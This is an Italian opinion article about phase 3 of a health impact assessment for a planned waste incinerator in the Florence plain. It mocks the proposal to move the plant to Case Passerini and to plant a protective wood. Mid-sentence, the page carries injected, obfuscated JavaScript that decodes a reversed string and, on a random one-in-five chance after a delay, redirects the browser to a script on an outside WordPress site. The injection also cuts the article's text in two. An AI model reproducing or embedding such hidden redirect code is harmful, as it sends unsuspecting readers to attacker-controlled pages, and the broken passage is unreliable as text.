Un bosco magico ci salverà

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Meglio evitare di costruire l’inceneritore a Osmannoro 2000, zona già dilaniata dalle emissioni del traffico. è più opportuno realizzarlo a Case Passerini, un’area meno a rischio perché meno popolata.
è questa la principale novità emersa dalla pubblicazione della tanto attesa fase 3 della VIS, la valutazione d’impatto sanitario studiata dalla commissione delegata dalla Provincia, che fa emergere nuove contraddizioni sulla costruzione dell’impianto. I termovalorizzatori non causano danni all’uomo e all’ambiente? Allora perché per costruirne uno si deve (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andare il più possibile lontano da zone abitate?
La terza parte della VIS svela anche la bufala dell’utilità della nuova tecnologia: l’impianto potrà riscaldare solo le abitazioni di nuova costruzione, una piccolissima percentuale dunque. Ma possiamo stare tranquilli: oltre al parco della Piana, sempre secondo la commissione, 30 ettari a nord/nord-est del termovalorizzatore dovranno essere destinati ad un bosco di grandi alberi che ci proteggerà da tutti i rischi delle emissioni.

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